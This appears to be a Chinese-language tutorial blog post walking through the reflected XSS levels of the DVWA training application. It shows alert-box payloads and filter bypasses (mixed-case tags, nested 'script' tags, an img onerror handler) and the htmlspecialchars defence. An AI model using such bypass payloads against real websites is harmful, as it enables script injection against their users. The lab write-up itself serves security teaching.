XSS
- 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或 Web 应用程序中执行恶意脚本。当 web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生 XSS。由于与CSS(Cascading stvle Sheet) 重名,所以就更名为 XSS。
XSS漏洞挖掘
- 以DVWA为例
DVWA—XSS(Reflected)通关
low
-
先随便输入一串字符串
-
他会有原模原样的返回,证明可能存在XSS漏洞,接下来就尝试一下能否有弹窗
<script>alert(/byy!/)</script>
medium
-
依旧是随便输入一些东西
-
证明又有可能存在漏洞,继续尝试一下
<script>alert(/byy!/)</script>
- 可以看到
<sCRipt>alert(/byy!/)</sCRipt>
<scri<script>pt>alert(/byy!/)</scr<script>ipt>
high
- 万年不变第一步,随便输入字符串
- 继续怀疑XSS漏洞的存在,继续验证
<script>alert(/byy!/)</script>
<sCRipt>alert(/byy!/)</sCRipt>
<scri<script>pt>alert(/byy!/)</scr<script>ipt>
- 这里都不能使用,猜测是不是script标签让彻底过滤了,换一种标签,与响应事件相结合。
<img src=# onerror=alert(/xss/)>
impossible
- 完全防御难度我们先看源码分析
- 可以看到使用了
htmlspecialchars
函数把预定义的字符&、”、 ’、<、>进行了HTML实体编码,防止浏览器将其作为HTML元素
注意
- 本次实验在靶场操作,真实情况下可能会存在目标装有WAF,需要谨慎测试,以免被直接逮捕。